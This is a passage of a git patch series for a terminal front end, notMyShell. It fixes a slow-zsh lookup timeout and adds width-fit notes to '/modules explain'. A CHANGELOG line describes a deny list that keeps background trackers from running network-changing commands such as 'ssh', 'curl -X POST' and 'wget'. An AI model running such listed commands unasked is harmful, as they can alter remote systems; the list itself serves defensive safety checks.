frontend.run(`${JSON.stringify(process.execPath)} -e '${script}'`, /LOG done/u); + await until(async () => (await sandbox.transcripts().list()).some(session => JSON.stringify(session.transcript).includes('LOG done')), 15_000, 'the journal'); + const sessions = await sandbox.transcripts().list(); + const lines = sessions.flatMap(session => (session.transcript.lines as Array>).map(line => line.map(cell => cell?.text ?? ' ').join('').trimEnd())); + assert.ok(lines.includes('LOG one') && lines.includes('LOG two'), lines.join('\n')); + assert.equal(lines.filter(line => line.startsWith('Downloading')).length, 1, 'one final progress row, not one per frame'); + } finally { await sandbox.dispose(); } +}); From af475c316ceb231eb92bda9c655fa5011c8bc4e0 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:20:42 +0530 Subject: [PATCH 034/157] Command colors survive a slow zsh configuration: lookups are timed from when the helper reads them Found while re-verifying #408. The semantic helper (a zsh that sources the user's configuration and answers `whence` lookups) reads requests only after its startup files finish, but each lookup's 1.5 s limit started when it was sent. A configuration that takes longer to load (nvm, a large framework: 2 s reproduced) made the first lookup time out, which ends the helper; every later executable or builtin then stayed uncolored (neither known nor unknown) for the whole session. The helper now says when it reads requests; lookup limits (and raw source/facts lookups) start then, and startup itself has its own 20 s bound. The new test (a 2 s .zshrc) fails on the old service: `ls` came back unknown after 1.5 s and the helper was dead. #408's own synchronization was re-checked: newer shell knowledge bumps the generation and clears pending lookups, so a late answer finds no pending entry and is never cached; superseded lookups ask again (at most three times). Refs #408 --- CHANGELOG.md | 1 + src/shell/SemanticService.ts | 49 ++++++++++++++++++++++++++++++------ tests/semantic.test.ts | 14 ++++++++++- 3 files changed, 56 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c0d7aff0..7a1c628b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -23,6 +23,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Rows are the terminal's rows: a line wider than the window counts as the rows it occupies, so a display that redraws over its own wrapped line no longer erases the log lines above it at narrow widths. A status row an installer reserves below a scroll region is not written into the log. Absolute cursor positioning is not mapped. - A queued command whose command word was still being classified when the next prompt reported new shell knowledge no longer keeps the unclassified color ([#408](https://github.com/raiseCatError/notMyShell/issues/408)). +- With a slow zsh configuration (one that takes longer than a second and a half to load, as nvm or a large framework can), command colors no longer stop for the rest of the session: the first lookup waited on the configuration, timed out, and ended the helper that tells known commands from unknown ones. - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env `, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. diff --git a/src/shell/SemanticService.ts b/src/shell/SemanticService.ts index 6ffb9efa..5ee2b819 100644 --- a/src/shell/SemanticService.ts +++ b/src/shell/SemanticService.ts @@ -48,6 +48,10 @@ export function parseCompletionFacts(line: string): CompletionFacts | undefined /** How many times a lookup superseded by newer shell knowledge is asked again before it settles as unknown. */ const REASKS = 3; +/** How long the helper may take to source the user's configuration before it is given up on. */ +const STARTUP_MS = 20_000; +/** How long one lookup may take once the helper reads requests. */ +const LOOKUP_MS = 1500; export class SemanticService { private child: ReturnType; @@ -135,7 +139,12 @@ PS1="" this.child.stdin!.on('error', () => { /* ignore EPIPE */ }); + // Lookups are timed from when the helper reads them: sourcing a slow configuration (nvm, a large framework) took + // longer than one lookup's limit, and the first lookup's timeout then ended the helper for the whole session. + this.startupTimer = setTimeout(() => { if (!this.ready) this.kill(); }, STARTUP_MS); + this.startupTimer.unref?.(); this.child.stdin!.write(` +builtin printf 'ready\\n' while builtin read -r id mode cmd; do if [[ $mode == source ]]; then nmsh_kind=$(builtin whence -w -- "$cmd" 2>/dev/null) @@ -183,6 +192,7 @@ done\n`); this.buffer = lines.pop() || ''; for (const line of lines) { if (!line.trim()) continue; + if (line === 'ready') { this.markReady(); continue; } const space = line.indexOf(' '); if (space === -1) continue; const idStr = line.substring(0, space); @@ -210,6 +220,21 @@ done\n`); } private isDead = false; + private ready = false; + private startupTimer?: NodeJS.Timeout; + /** Time limits of lookups sent before the helper was ready, started once it is. */ + private readonly whenReady: Array<() => void> = []; + + private markReady(): void { + if (this.ready) return; + this.ready = true; + clearTimeout(this.startupTimer); + for (const arm of this.whenReady.splice(0)) arm(); + } + + private armWhenReady(arm: () => void): void { + if (this.ready) arm(); else this.whenReady.push(arm); + } async classifyCommand(cmd: string): Promise { return this.lookup(cmd, 0); @@ -234,11 +259,7 @@ done\n`); const id = this.nextId++; const generation = this.generation; return new Promise((resolve) => { - const timer = setTimeout(() => { - this.pending.delete(id); - this.kill(); - resolve('unknown'); - }, 1500); + let timer: NodeJS.Timeout | undefined; this.pending.set(id, (res) => { clearTimeout(timer); if (generation !== this.generation) { resolve(reasked < REASKS ? this.lookup(cmd, reasked + 1) : 'unknown'); return; } @@ -246,6 +267,14 @@ done\n`); this.cache.set(cmd, res); resolve(res); }); + this.armWhenReady(() => { + if (!this.pending.has(id)) return; + timer = setTimeout(() => { + this.pending.delete(id); + this.kill(); + resolve('unknown'); + }, LOOKUP_MS); + }); // Safety: cmd should not contain newlines or null bytes const safeCmd = cmd.replace(/[\r\n\0]/g, ''); try { @@ -264,9 +293,13 @@ done\n`); if (this.isDead || !this.child.stdin?.writable || this.rawPending.size >= 32) return Promise.resolve(undefined); const id = this.nextId++; return new Promise(resolve => { - const timer = setTimeout(() => { this.rawPending.delete(id); resolve(undefined); }, 1500); - timer.unref?.(); + let timer: NodeJS.Timeout | undefined; this.rawPending.set(id, line => { clearTimeout(timer); resolve(line || undefined); }); + this.armWhenReady(() => { + if (!this.rawPending.has(id)) return; + timer = setTimeout(() => { this.rawPending.delete(id); resolve(undefined); }, LOOKUP_MS); + timer.unref?.(); + }); try { this.child.stdin!.write(`${id} ${mode} ${word.replace(/[\r\n\0\s]/gu, '')}\n`); } catch { clearTimeout(timer); this.rawPending.delete(id); resolve(undefined); } }); @@ -293,6 +326,8 @@ done\n`); kill() { this.isDead = true; + clearTimeout(this.startupTimer); + this.whenReady.length = 0; try { this.child.stdin?.end(); } catch (e) { /* ignore */ } diff --git a/tests/semantic.test.ts b/tests/semantic.test.ts index 2a4b7ff8..8e64921b 100644 --- a/tests/semantic.test.ts +++ b/tests/semantic.test.ts @@ -1,5 +1,5 @@ import test, {beforeEach, afterEach} from 'node:test'; -import {mkdtempSync, rmSync} from 'node:fs'; +import {mkdtempSync, rmSync, writeFileSync} from 'node:fs'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; import assert from 'node:assert'; @@ -100,3 +100,15 @@ test('SemanticService ignores commands when dead and cleans resources', async () assert.equal((service as any).zdotdir, '', 'zdotdir must be cleared'); assert.equal((service as any).isDead, true, 'service must be marked dead'); }); + +test('a slow configuration delays the first answer, not the helper\'s life: lookups are timed from when it reads them', {timeout: 30_000}, async () => { + // Sourcing takes longer than one lookup's limit (nvm, a large framework); the first lookup used to time out, end the + // helper, and leave every later command without its known/unknown color for the session. + writeFileSync(join(fixtureHome, '.zshrc'), 'sleep 2\n'); + const service = createService(); + const [first, source] = await Promise.all([service.classifyCommand('ls'), service.resolveSource('ls')]); + assert.strictEqual(first, 'executable'); + assert.strictEqual(source?.kind, 'executable'); + assert.strictEqual((service as any).isDead, false); + assert.strictEqual(await service.classifyCommand('cd'), 'builtin', 'later lookups are still answered'); +}); From 19f5a36a5202128736289fc250f28b30300a581a Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:37:10 +0530 Subject: [PATCH 035/157] /modules explain says when the Rail or Strip left a module out, or shortened it, for width (#365) #365 asks why a module is visible, hidden or compacted. Explain covered routing, visibility, conditions and source state; width was missing. The Context Rail fits module groups by priority (place, compact, then drop) and the Status Strip narrows forms, then drops the lowest priorities; both now fill an optional fit report on their live render (previews of a draft never overwrite it), and `/modules explain` adds "left out for width in the last frame (higher-priority modules kept)" or "shortened to fit the width in the last frame". A strip too narrow to show at all reports every routed module as left out. A module turned off is still explained as off. Nothing is collected or measured to produce it. The Main Prompt and Right Context truncate text rather than drop modules; a per-segment truncation trace there is left as future work (documented). Refs #365 --- CHANGELOG.md | 2 +- docs/design/native-module-coverage.md | 5 ++- docs/testing/v021-physical-qa.md | 3 ++ src/app/TerminalApp.ts | 20 +++++++++--- src/prompt/fitReport.ts | 13 ++++++++ src/prompt/moduleReport.ts | 9 ++++-- src/prompt/prompt.ts | 8 ++++- src/prompt/railComposition.ts | 5 +-- src/status/StatusStrip.ts | 18 ++++++++--- tests/moduleReport.test.ts | 44 +++++++++++++++++++++++++++ 10 files changed, 112 insertions(+), 15 deletions(-) create mode 100644 src/prompt/fitReport.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 7a1c628b..41472b72 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,7 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Limits: your own regular UTF-8 text files up to 1 MiB with one hard link, writable, with one kind of line ending. Others are refused with the reason and stay readable in `/view`. Extended attributes and ACLs are not carried over by a save. Unsaved text is lost if the NMSh window itself is closed. - **Semantic Output** for test runs and builds ([#386](https://github.com/raiseCatError/notMyShell/issues/386), first phase). A completed block whose output NMSh recognizes gets one overview row with the counts the tool printed (`✔ node --test · 1,772 passed · 0 failed · 25 skipped`, `✘ TypeScript · 3 errors in 2 files`) and, when it listed failures or diagnostics, a details row that opens them, taken verbatim from the output. Recognized: Node's test runner (spec and TAP), Jest, Vitest, pytest, `cargo test`, `go test`, TypeScript, Rust and GCC/Clang diagnostics; anything else stays raw only, and short passing output gets nothing. Details start open when the raw output is folded; click the details row or use Actions → Show or hide details. The output itself, its folding, search, selection and plain `/copy` are unchanged. `/copy --semantic` copies the reading (raw for an output without one, as the note says) and `/copy --both` the raw output and the reading under labelled NMSh separators. Settings → Transcript → Semantic Output turns it off. - **Native modules: Bun, Nix shell and container** ([#364](https://github.com/raiseCatError/notMyShell/issues/364)). Bun's requested version comes from `.bun-version` or `package.json` (`packageManager`, `engines.bun`) and the active one from its install location; the Nix shell module shows `pure`/`impure` from `IN_NIX_SHELL`; the container module names Docker, Podman, a dev container or Codespaces from marker files and host variables. None runs anything; all are off until enabled in `/modules`, which recommends Bun and Nix when their files are present. -- **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why, and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. +- **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why (including when the Context Rail or Status Strip left it out, or shortened it, to fit the width in the last frame), and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). diff --git a/docs/design/native-module-coverage.md b/docs/design/native-module-coverage.md index c51ecf07..36d910ac 100644 --- a/docs/design/native-module-coverage.md +++ b/docs/design/native-module-coverage.md @@ -64,4 +64,7 @@ capabilities as it may hold modules. Kotlin/Scala, Lua and Haskell stay candidat source that is reliable enough to show (a Gradle Kotlin plugin version, a rockspec, a Stack resolver) and was not judged worth a module per language in this release. Diagnostics (#365): `/modules explain` and `/modules timings` give a plain-text report of routing, visibility reasons, source states and the slowest last collections, from the engine's -snapshots only. +snapshots only. The Context Rail and Status Strip record how their width fitting treated each routed module in the last +live frame (left out, or shortened), and explain says so; previews never overwrite that record. The Main Prompt and +Right Context truncate their text rather than drop modules, so they have nothing to report; a per-segment truncation +trace there remains future work. diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 98f81c59..42d2a7e1 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -131,6 +131,9 @@ - [ ] 6.3 In a Docker or Podman container (or a Codespace), the container module names it; on the host it shows nothing. - [ ] 6.4 `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the slowest collections; neither changes what is collected (the Status Strip CPU stays as it was). +- [ ] 6.5 Route three modules to the Context Rail (Modules → Surface), narrow the window until one disappears, then run + `/modules explain`: that module says "left out for width in the last frame"; widen the window and run it again: the + note is gone. The same with the Status Strip. ## 7. Theme families diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index c3126a5d..62148e4a 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -5,6 +5,7 @@ import {queuePresentationChanges, queueRowKey, staleQueueSnapshot} from '../stat import {shellSubmission} from '../shell/submission.js'; import {railNeedsPromptConversion, railPreviewConfiguration} from '../prompt/railLayout.js'; import {prepareRail, paintRailComposition, railCompositionPreview, type PreparedRail} from '../prompt/railComposition.js'; +import {fitOutcome, newFitReport, type FitReport} from '../prompt/fitReport.js'; import {routeModule} from '../context/surfaceRouter.js'; import {promptFacts, moduleFactContext, updateFact, factAllowed} from '../context/facts.js'; import {chromaPreviewNote} from '../appearance/chromaNotes.js'; @@ -2945,7 +2946,8 @@ export class TerminalApp { if (this.appearanceHub) { this.appearanceHub.view = 'motion'; this.appearanceHub.selected = 0; this.appearanceHub.previewStart = Date.now(); } } else if (slash.kind === 'prompt') { this.panelOrigin = undefined; await this.startPromptSettings(false); } - else if (slash.kind === 'modules' && slash.report === 'explain') this.output.addFrontendBlock(command.trim(), explainModules(this.promptConfiguration.modules, this.modulesContext(), this.promptConfiguration)); + else if (slash.kind === 'modules' && slash.report === 'explain') this.output.addFrontendBlock(command.trim(), explainModules(this.promptConfiguration.modules, this.modulesContext(), this.promptConfiguration, Date.now(), + (id, surface) => fitOutcome(surface === 'contextRail' ? this.lastFit.rail : surface === 'statusStrip' ? this.lastFit.strip : undefined, id))); else if (slash.kind === 'modules' && slash.report === 'timings') this.output.addFrontendBlock(command.trim(), moduleTimings(id => this.contextEngine.status(id))); else if (slash.kind === 'modules') { this.panelOrigin = undefined; this.openModulesManager(); } else if (slash.kind === 'chroma') { this.panelOrigin = undefined; this.startChromaSettings(); } @@ -4489,7 +4491,10 @@ export class TerminalApp { if (this.renderRail?.columns === columns) return this.renderRail.prepared; const configuration = this.passthrough || this.externalPassthrough || this.effectivePromptProvider !== 'nmsh' ? {...this.promptConfiguration, contextRail: {...this.promptConfiguration.contextRail, mode: 'off' as const}} : this.promptConfiguration; - return prepareRail(this.promptContext(), columns, configuration); + const report = newFitReport(); + const prepared = prepareRail(this.promptContext(), columns, configuration, 0, report); + this.lastFit.rail = report; + return prepared; } private contextRailRows(columns: number): string[] { @@ -8467,11 +8472,18 @@ export class TerminalApp { const record = this.awakeRecord; const display = configuration.keepAwake.display; // Modules routed to the strip are resolved facts like every other surface; the strip never collects anything itself. - return renderStatusStrip(configuration.statusStrip, stripStatsFromFacts(this.contextEngine.facts()), columns, undefined, + // The live row records how it fitted routed modules, for /modules explain; previews of a draft do not. + const report = configuration === this.promptConfiguration ? newFitReport() : undefined; + const row = renderStatusStrip(configuration.statusStrip, stripStatsFromFacts(this.contextEngine.facts()), columns, undefined, record ? {full: awakeLabel(record, display, 'full'), short: awakeLabel(record, display, 'short'), glyph: awakeLabel(record, display, 'glyph')} : undefined, - this.statusStripModuleItems(configuration)); + this.statusStripModuleItems(configuration), report); + if (report) this.lastFit.strip = report; + return row; } + /** How the last live frame fitted routed modules on the Rail and the Strip (#365). */ + private readonly lastFit: {rail?: FitReport; strip?: FitReport} = {}; + /** Strip-routed modules with their group and, for the path, a shorter form the fitter may use first. */ private statusStripModuleItems(configuration = this.promptConfiguration): StripModuleItem[] { const context = this.promptContext(); diff --git a/src/prompt/fitReport.ts b/src/prompt/fitReport.ts new file mode 100644 index 00000000..6304236b --- /dev/null +++ b/src/prompt/fitReport.ts @@ -0,0 +1,13 @@ +/** + * What a surface's width fitting did to routed modules in one live render (#365): which it left out and which it + * shortened. `/modules explain` reads the last frame's report; nothing is measured or collected to produce it. + */ +export interface FitReport {dropped: Set; compacted: Set} + +export const newFitReport = (): FitReport => ({dropped: new Set(), compacted: new Set()}); + +/** How the last frame fitted one module on its surface, if it had to. */ +export function fitOutcome(report: FitReport | undefined, id: string): 'dropped' | 'compacted' | undefined { + if (!report) return undefined; + return report.dropped.has(id) ? 'dropped' : report.compacted.has(id) ? 'compacted' : undefined; +} diff --git a/src/prompt/moduleReport.ts b/src/prompt/moduleReport.ts index 7ad74098..35663f30 100644 --- a/src/prompt/moduleReport.ts +++ b/src/prompt/moduleReport.ts @@ -19,7 +19,8 @@ const age = (status: Status, now: number) => status.collectedAt === undefined ? const took = (status: Status) => status.durationMs === undefined ? '' : `, took ${status.durationMs < 1 ? '<1' : Math.round(status.durationMs)} ms`; const STATE: Record = {fresh: 'fresh', stale: 'stale', pending: 'collecting', absent: 'nothing to show', timeout: 'timed out', failed: 'failed', idle: 'not collected'}; -export function explainModules(modules: readonly ContextModuleConfig[], context: ModulesContext, configuration: PromptConfiguration, now = Date.now()): string[] { +export function explainModules(modules: readonly ContextModuleConfig[], context: ModulesContext, configuration: PromptConfiguration, now = Date.now(), + fit?: (id: string, surface: string) => 'dropped' | 'compacted' | undefined): string[] { const rows: string[] = []; for (const module of modules) { const definition = moduleDefinition(module.id); @@ -33,7 +34,11 @@ export function explainModules(modules: readonly ContextModuleConfig[], context: : context.conditionMet?.(module) === false ? 'hidden: its condition does not match here' : whyText(module, surface, statuses, definition.triggers); const where = surface === 'hidden' ? 'Hidden' : MODULE_SURFACE_LABELS[surface as ModuleSurface]; - rows.push(`${inert(definition.label, 48)} (${module.id}) · ${where} · ${inert(why, 200)}`); + // Width: what the last frame's fitting did on its surface (higher priorities are kept, then shortened, longest). + const fitted = module.visible && surface !== 'hidden' && (!availability || availability.available) ? fit?.(module.id, surface) : undefined; + const width = fitted === 'dropped' ? ' · left out for width in the last frame (higher-priority modules kept)' + : fitted === 'compacted' ? ' · shortened to fit the width in the last frame' : ''; + rows.push(`${inert(definition.label, 48)} (${module.id}) · ${where} · ${inert(why, 200)}${width}`); const sources = sourced.map(({id, status}) => `${id} ${STATE[status.state] ?? status.state}${age(status, now)}${took(status)}${status.evidence ? ` (${inert(status.evidence, 80)})` : ''}`); if (sources.length) rows.push(` reads ${sources.join('; ')}`); } diff --git a/src/prompt/prompt.ts b/src/prompt/prompt.ts index 906bc8d9..69e0c6fa 100644 --- a/src/prompt/prompt.ts +++ b/src/prompt/prompt.ts @@ -1,4 +1,5 @@ import {colorLevel} from '../presentation/capabilities.js'; +import type {FitReport} from './fitReport.js'; import {promptFacts, moduleFactContext, safeContextText, factAllowed} from '../context/facts.js'; import {routeModule} from '../context/surfaceRouter.js'; import {moduleDefinition} from '../context/modules.js'; @@ -644,7 +645,7 @@ export function buildContextLine( } /** Resolve appearance through the existing semantic theme context, restoring it after a chosen-theme render. */ -export function buildContextRail(context: PromptContext, width: number, configuration: PromptConfiguration, time = 0): string[] { +export function buildContextRail(context: PromptContext, width: number, configuration: PromptConfiguration, time = 0, report?: FitReport): string[] { const rail = configuration.contextRail; if (configuration.provider !== 'nmsh' || rail.mode === 'off') return []; const saved = themeContext(); @@ -682,10 +683,15 @@ export function buildContextRail(context: PromptContext, width: number, configur compact[0] = true; } } + if (report) for (const group of groups) { + const index = rows.findIndex(row => row.includes(group[0]!)); + if (index === -1) report.dropped.add(group[0]!.id); else if (compact[index]) report.compacted.add(group[0]!.id); + } const paintedRows = rows.map((blocks, index) => { if (!blocks.length || width <= 0) return ''; const painted = paint(blocks, compact[index]!); if (displayWidth(painted) <= width) return painted; + for (const block of blocks) report?.compacted.add(block.id); if (mirrored) return fitRightPowerlineBlocks([...blocks].reverse(), width, fitted => paintPhysical(fitted, true)); return fitPowerlineBlocks(blocks, 0, 0, width, nmsh.endStyle, false, nmsh.startStyle, nmsh.connector, resolveConnectorFade('off', nmsh.connector), nmsh.connectorFadeColors, promptRenderExtras(draft, time)); diff --git a/src/prompt/railComposition.ts b/src/prompt/railComposition.ts index 0225491e..0eb5026e 100644 --- a/src/prompt/railComposition.ts +++ b/src/prompt/railComposition.ts @@ -1,6 +1,7 @@ import {colorLevel} from '../presentation/capabilities.js'; import type {PromptContext} from '../shell/ShellContext.js'; import type {PromptConfiguration} from './configuration.js'; +import type {FitReport} from './fitReport.js'; import {buildContextParts, buildContextRail, buildInlineContextPrefix, buildRightContext} from './prompt.js'; import {railPresentation, type RailPresentation} from './railLayout.js'; import {planScreen, regionOf, type ScreenPlan} from '../app/screenPlan.js'; @@ -12,11 +13,11 @@ const RESET = '\u001b[0m'; export interface PreparedRail {presentation: RailPresentation; content: string[]; time: number} /** Facts arrive resolved. This projection never requests or collects a value. */ -export function prepareRail(context: PromptContext, columns: number, configuration: PromptConfiguration, time = 0): PreparedRail { +export function prepareRail(context: PromptContext, columns: number, configuration: PromptConfiguration, time = 0, report?: FitReport): PreparedRail { const enabled = configuration.provider === 'nmsh' && configuration.contextRail.mode !== 'off'; const parts = buildContextParts(context, columns, configuration, time); const budget = railPresentation(configuration, enabled ? configuration.contextRail.rows : 0, columns, parts); - const content = enabled && !(budget.width === 0 && configuration.contextRail.mode === 'auto') ? buildContextRail(context, budget.width, configuration, time) : []; + const content = enabled && !(budget.width === 0 && configuration.contextRail.mode === 'auto') ? buildContextRail(context, budget.width, configuration, time, report) : []; return {content, time, presentation: railPresentation(configuration, content.length, columns, parts)}; } diff --git a/src/status/StatusStrip.ts b/src/status/StatusStrip.ts index 5297df13..40a48d6e 100644 --- a/src/status/StatusStrip.ts +++ b/src/status/StatusStrip.ts @@ -1,4 +1,5 @@ import {linuxBattery, parseMeminfo, parsePmset, parseVmStat, type SystemStats} from './systemStats.js'; +import type {FitReport} from '../prompt/fitReport.js'; import type {StatusStripSettings, StripZone} from '../prompt/configuration.js'; import type {ContextFacts} from '../context/facts.js'; import {safeContextText} from '../context/facts.js'; @@ -97,6 +98,8 @@ interface Entry { tone: 'secondary' | 'failure' | 'accent'; /** Keep Awake narrows only after everything else has gone (it outranks every other item). */ last?: boolean; + /** The routed module this entry shows, for the fit report. */ + id?: string; } /** Hostile module text loses whole control sequences, then is bounded like every other display string. */ @@ -105,7 +108,7 @@ const clean = (text: string) => safeContextText(stripTerminalControls(text), 120 function entries(settings: StatusStripSettings, stats: SystemStats, now: Date | undefined, awake: StripAwake | undefined, modules: readonly StripModuleItem[]): Entry[] { // Routed modules outlast the strip's own items; among them, higher module priority stays longest. const routed: Entry[] = modules.map(module => ({zone: module.zone ?? 'right', forms: [...new Set([clean(module.text), ...(module.compact ?? []).map(clean)])].filter(Boolean), - form: 0, rank: -1 - module.priority / 1000, tone: module.failure ? 'failure' as const : 'secondary' as const})).filter(entry => entry.forms.length); + form: 0, rank: -1 - module.priority / 1000, tone: module.failure ? 'failure' as const : 'secondary' as const, ...(module.id ? {id: module.id} : {})})).filter(entry => entry.forms.length); const native: Entry[] = stripItems(settings, stats, now).map(item => { const icon = item.icon ? semanticIcon(item.icon) : ''; return {zone: settings.nativeZone, forms: item.compact ? [item.text, item.compact] : [item.text], form: 0, ...(icon ? {icon} : {}), rank: item.priority, tone: 'secondary' as const}; @@ -191,10 +194,17 @@ function fit(all: Entry[], settings: StatusStripSettings, columns: number): Entr * room and otherwise pushed between its neighbours. */ export function renderStatusStrip(settings: StatusStripSettings, stats: SystemStats & {now?: number}, columns: number, now?: Date, awake?: StripAwake, - modules: readonly StripModuleItem[] = []): string { - if (!settings.enabled || columns < STRIP_MIN_COLUMNS) return ''; + modules: readonly StripModuleItem[] = [], report?: FitReport): string { + if (!settings.enabled) return ''; + if (columns < STRIP_MIN_COLUMNS) { for (const module of modules) if (module.id) report?.dropped.add(module.id); return ''; } const time = now ?? (stats.now !== undefined ? new Date(stats.now) : undefined); - const list = fit(entries(settings, stats, time, awake, modules), settings, columns); + const candidates = entries(settings, stats, time, awake, modules); + const list = fit(candidates, settings, columns); + if (report) for (const entry of candidates) { + if (!entry.id) continue; + const kept = list.find(item => item.id === entry.id); + if (!kept) report.dropped.add(entry.id); else if (kept.form > 0) report.compacted.add(entry.id); + } if (!list.length) return ''; const group = (zone: StripZone) => list.filter(entry => entry.zone === zone); const [left, center, right] = ZONES.map(zone => ({zone, painted: paintZone(zone, group(zone), settings), width: zoneWidth(zone, group(zone), settings)})); diff --git a/tests/moduleReport.test.ts b/tests/moduleReport.test.ts index c593bbfb..798fa72a 100644 --- a/tests/moduleReport.test.ts +++ b/tests/moduleReport.test.ts @@ -42,3 +42,47 @@ test('timings: the slowest last collections first, bounded, honest when nothing assert.match(rows[3]!, /^… 1 faster ones not listed$/u); assert.match(rows.at(-1)!, /excluding time queued; nothing was collected/u); }); + +import {newFitReport} from '../src/prompt/fitReport.js'; +import {buildContextRail} from '../src/prompt/prompt.js'; +import {DEFAULT_PROMPT_CONFIGURATION, DEFAULT_STATUS_STRIP} from '../src/prompt/configuration.js'; +import {renderStatusStrip} from '../src/status/StatusStrip.js'; + +test('the Status Strip reports which routed modules its width fitting shortened or left out', () => { + const settings = {...DEFAULT_STATUS_STRIP, enabled: true, clock: false, cpu: false, ram: false, uptime: false, battery: false}; + const modules = [ + {id: 'gitBranch', text: 'feature/a-rather-long-branch-name', priority: 90, compact: ['feature/a-r…']}, + {id: 'nodeVersion', text: 'node 22.11.0', priority: 40}, + {id: 'time', text: '06:44:12 local time', priority: 10}, + ]; + const wide = newFitReport(); + renderStatusStrip(settings, {}, 160, undefined, undefined, modules, wide); + assert.deepEqual([...wide.dropped, ...wide.compacted], [], 'everything fits: nothing to explain'); + const narrow = newFitReport(); + renderStatusStrip(settings, {}, 36, undefined, undefined, modules, narrow); + assert.ok(narrow.dropped.has('time') && !narrow.dropped.has('gitBranch'), 'the lowest priority goes first'); + assert.ok(narrow.compacted.has('gitBranch'), 'a narrower form is used before anything with a higher priority drops'); + const tiny = newFitReport(); + renderStatusStrip(settings, {}, 10, undefined, undefined, modules, tiny); + assert.deepEqual([...tiny.dropped].sort(), ['gitBranch', 'nodeVersion', 'time'], 'a strip too narrow to show shows none of them'); +}); + +test('the Context Rail reports the modules its priority fitting left out; explain says so in words', () => { + const configuration = structuredClone(DEFAULT_PROMPT_CONFIGURATION); + configuration.contextRail.mode = 'always'; + configuration.modules = [{id: 'project', visible: true, condition: 'always', surface: 'contextRail'}, + {id: 'exitStatus', visible: true, condition: 'always', surface: 'contextRail'}]; + const context = {cwd: '/qa', project: 'A-project-name-that-is-long', exitStatus: 42}; + const wide = newFitReport(); + buildContextRail(context, 120, configuration, 0, wide); + assert.equal(wide.dropped.size, 0); + const narrow = newFitReport(); + buildContextRail(context, 12, configuration, 0, narrow); + assert.ok(narrow.dropped.size + narrow.compacted.size > 0, 'something had to give at 12 columns'); + const fit = (id: string) => narrow.dropped.has(id) ? 'dropped' as const : narrow.compacted.has(id) ? 'compacted' as const : undefined; + const rows = explainModules(configuration.modules, {conditionMet: () => true}, configuration, 0, fit).join('\n'); + for (const id of narrow.dropped) assert.match(rows, new RegExp(`\\(${id}\\) · Context Rail · .* · left out for width in the last frame`, 'u')); + for (const id of narrow.compacted) assert.match(rows, new RegExp(`\\(${id}\\) · Context Rail · .* · shortened to fit the width in the last frame`, 'u')); + const off = explainModules([{...configuration.modules[0]!, visible: false}], {}, configuration, 0, () => 'dropped'); + assert.doesNotMatch(off[0]!, /left out for width/u, 'a module turned off is explained as off, not as cut for width'); +}); From 8f57e6aca4cadb4ea51d09c2f0b03799892bfa16 Mon Sep 17 00:00:00 